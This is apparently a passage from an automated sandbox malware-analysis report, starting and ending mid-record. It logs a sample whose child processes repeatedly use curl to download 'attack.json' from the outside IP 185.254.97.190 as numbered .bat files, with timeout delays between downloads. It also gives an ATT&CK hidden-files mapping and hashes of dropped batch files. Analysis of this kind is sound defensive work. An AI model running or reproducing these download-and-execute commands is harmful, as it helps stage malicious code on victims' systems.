  - Delays execution with timeout.exe
  PID:1640
- C:\Windows\system32\curl.exe
  curl -o 19657.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1584
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2688
- C:\Windows\system32\curl.exe
  curl -o 9376.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2820
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3260
- C:\Windows\system32\curl.exe
  curl -o 11973.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4948
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5036
- C:\Windows\system32\curl.exe
  curl -o 2886.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4088
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2356
- C:\Windows\system32\curl.exe
  curl -o 13608.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2472
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3424
- C:\Windows\system32\curl.exe
  curl -o 10434.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2748
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4020
- C:\Windows\system32\curl.exe
  curl -o 11233.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:376
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4732
- C:\Windows\system32\curl.exe
  curl -o 13226.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4176
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1424
- C:\Windows\system32\curl.exe
  curl -o 10254.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1856
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5092
- C:\Windows\system32\curl.exe
  curl -o 10777.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5112
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4536
- C:\Windows\system32\curl.exe
  curl -o 16131.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:752
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:612
- C:\Windows\system32\curl.exe
  curl -o 17679.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1332
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1308
- C:\Windows\system32\curl.exe
  curl -o 25280.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4624
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1264
- C:\Windows\system32\curl.exe
  curl -o 16293.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3696
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3384
- C:\Windows\system32\curl.exe
  curl -o 30396.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1732
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3212
- C:\Windows\system32\curl.exe
  curl -o 22800.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1060
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4252
- C:\Windows\system32\curl.exe
  curl -o 2167.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2664
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4460
- C:\Windows\system32\curl.exe
  curl -o 28553.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2304
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4168
- C:\Windows\system32\curl.exe
  curl -o 12595.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:888
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:316
- C:\Windows\system32\curl.exe
  curl -o 17289.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:644
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4796
- C:\Windows\system32\curl.exe
  curl -o 4791.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:840
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4980
- C:\Windows\system32\curl.exe
  curl -o 11790.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3868
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1660
- C:\Windows\system32\curl.exe
  curl -o 12057.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2996
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1852
- C:\Windows\system32\curl.exe
  curl -o 10676.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4576
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3316
- C:\Windows\system32\curl.exe
  curl -o 7132.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2636
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4640
- C:\Windows\system32\curl.exe
  curl -o 19946.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4964
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4440
- C:\Windows\system32\curl.exe
  curl -o 21215.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2440
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3004
- C:\Windows\system32\curl.exe
  curl -o 5266.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2256
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4656
- C:\Windows\system32\curl.exe
  curl -o 14326.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3968
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1012
- C:\Windows\system32\curl.exe
  curl -o 17859.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:876
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2936
- C:\Windows\system32\curl.exe
  curl -o 24614.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2920
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1064
- C:\Windows\system32\curl.exe
  curl -o 653.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2544
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4148
- C:\Windows\system32\curl.exe
  curl -o 20438.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2568
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5016
- C:\Windows\system32\curl.exe
  curl -o 28399.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:452
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4808
- C:\Windows\system32\curl.exe
  curl -o 20343.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4648
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2108
- C:\Windows\system32\curl.exe
  curl -o 15451.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3844
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3984
- C:\Windows\system32\curl.exe
  curl -o 12905.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2236
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2976
- C:\Windows\system32\curl.exe
  curl -o 8574.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3468
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3348
- C:\Windows\system32\curl.exe
  curl -o 2612.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:868
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2052
- C:\Windows\system32\curl.exe
  curl -o 28965.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4556
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1692
- C:\Windows\system32\curl.exe
  curl -o 20549.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3000
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:416
- C:\Windows\system32\curl.exe
  curl -o 20858.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1764
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2872
- C:\Windows\system32\curl.exe
  curl -o 8910.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2356
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5104
- C:\Windows\system32\curl.exe
  curl -o 24041.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3416
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4496
- C:\Windows\system32\curl.exe
  curl -o 21890.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4944
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3484
- C:\Windows\system32\curl.exe
  curl -o 4461.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2628
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3992
- C:\Windows\system32\curl.exe
  curl -o 23865.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:996
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5044
- C:\Windows\system32\curl.exe
  curl -o 1053.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2708
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4336
- C:\Windows\system32\curl.exe
  curl -o 5579.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2312
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2380
- C:\Windows\system32\curl.exe
  curl -o 7716.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1052
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:512
- C:\Windows\system32\curl.exe
  curl -o 7069.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4004
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1720
- C:\Windows\system32\curl.exe
  curl -o 13205.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:32
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:468
- C:\Windows\system32\curl.exe
  curl -o 32436.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3020
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1732
- C:\Windows\system32\curl.exe
  curl -o 22451.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3596
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1060
- C:\Windows\system32\curl.exe
  curl -o 847.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3592
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3036
- C:\Windows\system32\curl.exe
  curl -o 27558.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4460
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2304
- C:\Windows\system32\curl.exe
  curl -o 1102.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:908
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:556
- C:\Windows\system32\curl.exe
  curl -o 19385.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2228
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4504
- C:\Windows\system32\curl.exe
  curl -o 28159.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4824
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:732
- C:\Windows\system32\curl.exe
  curl -o 22412.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1044
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1956
- C:\Windows\system32\curl.exe
  curl -o 15354.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2632
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1784
- C:\Windows\system32\curl.exe
  curl -o 13541.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4484
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2248
- C:\Windows\system32\curl.exe
  curl -o 31539.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2644
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2136
- C:\Windows\system32\curl.exe
  curl -o 27145.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2404
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1416
- C:\Windows\system32\curl.exe
  curl -o 6522.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3476
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2736
- C:\Windows\system32\curl.exe
  curl -o 5049.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3712
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4564
- C:\Windows\system32\curl.exe
  curl -o 22004.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2832
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4440
- C:\Windows\system32\curl.exe
  curl -o 23631.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2440
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4300
- C:\Windows\system32\curl.exe
  curl -o 590.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2256
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2960
- C:\Windows\system32\curl.exe
  curl -o 17550.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1588
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4852
- C:\Windows\system32\curl.exe
  curl -o 710.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3968
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2556
- C:\Windows\system32\curl.exe
  curl -o 5152.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2920
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:516
- C:\Windows\system32\curl.exe
  curl -o 11069.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2544
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1616
- C:\Windows\system32\curl.exe
  curl -o 14041.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3776
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4876
- C:\Windows\system32\curl.exe
  curl -o 18910.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:452
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4808
- C:\Windows\system32\curl.exe
  curl -o 13620.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4648
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2108
- C:\Windows\system32\curl.exe
  curl -o 29746.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2444
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1516
- C:\Windows\system32\curl.exe
  curl -o 10668.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1428
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:688
- C:\Windows\system32\curl.exe
  curl -o 4496.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5032
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2332
- C:\Windows\system32\curl.exe
  curl -o 25051.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:868
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2052
- C:\Windows\system32\curl.exe
  curl -o 13897.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1556
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1692
- C:\Windows\system32\curl.exe
  curl -o 4480.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1728
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1940
- C:\Windows\system32\curl.exe
  curl -o 15623.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4016
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4432
- C:\Windows\system32\curl.exe
  curl -o 28387.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4708
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2748
- C:\Windows\system32\curl.exe
  curl -o 14378.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2472
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1072
- C:\Windows\system32\curl.exe
  curl -o 2865.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3484
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1344
- C:\Windows\system32\curl.exe
  curl -o 25400.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2120
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:412
- C:\Windows\system32\curl.exe
  curl -o 3772.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4288
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4008
- C:\Windows\system32\curl.exe
  curl -o 15510.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1068
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4472
- C:\Windows\system32\curl.exe
  curl -o 74.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1596
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2400
- C:\Windows\system32\curl.exe
  curl -o 29208.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1572
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1332
- C:\Windows\system32\curl.exe
  curl -o 14298.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4004
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1720
- C:\Windows\system32\curl.exe
  curl -o 24383.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1268
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:468
- C:\Windows\system32\curl.exe
  curl -o 24707.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4456
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1324
- C:\Windows\system32\curl.exe
  curl -o 4621.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2992
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3272
- C:\Windows\system32\curl.exe
  curl -o 19035.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3500
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3280
- C:\Windows\system32\curl.exe
  curl -o 13277.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4644
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1336
- C:\Windows\system32\curl.exe
  curl -o 5256.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4832
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1716
- C:\Windows\system32\curl.exe
  curl -o 23971.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1672
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4812
- C:\Windows\system32\curl.exe
  curl -o 14570.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4796
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2224
- C:\Windows\system32\curl.exe
  curl -o 23422.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:632
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3932
- C:\Windows\system32\curl.exe
  curl -o 3580.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3868
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:836
- C:\Windows\system32\curl.exe
  curl -o 16769.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3940
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4820
- C:\Windows\system32\curl.exe
  curl -o 14563.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3404
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3156
- C:\Windows\system32\curl.exe
  curl -o 1053.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1172
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3248
- C:\Windows\system32\curl.exe
  curl -o 6334.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:980
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3244
- C:\Windows\system32\curl.exe
  curl -o 6299.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1680
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2764
- C:\Windows\system32\curl.exe
  curl -o 15799.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4444
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4380
- C:\Windows\system32\curl.exe
  curl -o 1655.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3448
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4080
- C:\Windows\system32\curl.exe
  curl -o 20843.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4356
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3516
- C:\Windows\system32\curl.exe
  curl -o 22697.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1156
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4684
- C:\Windows\system32\curl.exe
  curl -o 17299.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2700
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1204
- C:\Windows\system32\curl.exe
  curl -o 5658.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3960
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4384
- C:\Windows\system32\curl.exe
  curl -o 25892.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3776
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4876
- C:\Windows\system32\curl.exe
  curl -o 25303.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:452
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:64
- C:\Windows\system32\curl.exe
  curl -o 11580.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4648
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2108
- C:\Windows\system32\curl.exe
  curl -o 14271.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3536
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1516
- C:\Windows\system32\curl.exe
  curl -o 32401.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4816
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4264
- C:\Windows\system32\curl.exe
  curl -o 19646.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2444
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3348
- C:\Windows\system32\curl.exe
  curl -o 14654.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1584
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1788
- C:\Windows\system32\curl.exe
  curl -o 29145.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5088
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:372
- C:\Windows\system32\curl.exe
  curl -o 1061.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5072
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4088
- C:\Windows\system32\curl.exe
  curl -o 13715.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2152
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3904
- C:\Windows\system32\curl.exe
  curl -o 21061.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4352
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3520
- C:\Windows\system32\curl.exe
  curl -o 27502.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1420
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1964
- C:\Windows\system32\curl.exe
  curl -o 2980.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1072
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:376
- C:\Windows\system32\curl.exe
  curl -o 31646.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2628
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3676
- C:\Windows\system32\curl.exe
  curl -o 16075.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:692

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3912 --field-trial-handle=2744,i,16362475727591565961,3676688664819797550,262144 --variations-seed-version /prefetch:8
1⤵
PID:1072

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4152 --field-trial-handle=2744,i,16362475727591565961,3676688664819797550,262144 --variations-seed-version /prefetch:8
1⤵
PID:3992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\hjUZ\16475.bat

Filesize
94B

MD5
63273d9f7785f437c646819a21e30103

SHA1
130a684c493a8c2693dedbbb157122c95474a388

SHA256
f28efdb07b1a7140829bc1c7c761f8b918ac9f023d33f7495964261957615cc4

SHA512
633e0a32dfead958df129633675a3fbc7530dac7e3fa2162e84384b3fb4d82101b388eb4a09e0f511fc4be0c9a93c118a8d0bbb7a20de35411806448857f79be

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\16862.bat

Filesize
100B

MD5
b05610ec6d2fd64a007c14f7b198a480

SHA1
b9f324425ebecd3c66ca6a6e95eb15a3bd42bbdc

SHA256
f4ae8c05cc094d1cbfe8e216c1d953b426d797af2b1107326ab4e1b6c6768c86

SHA512
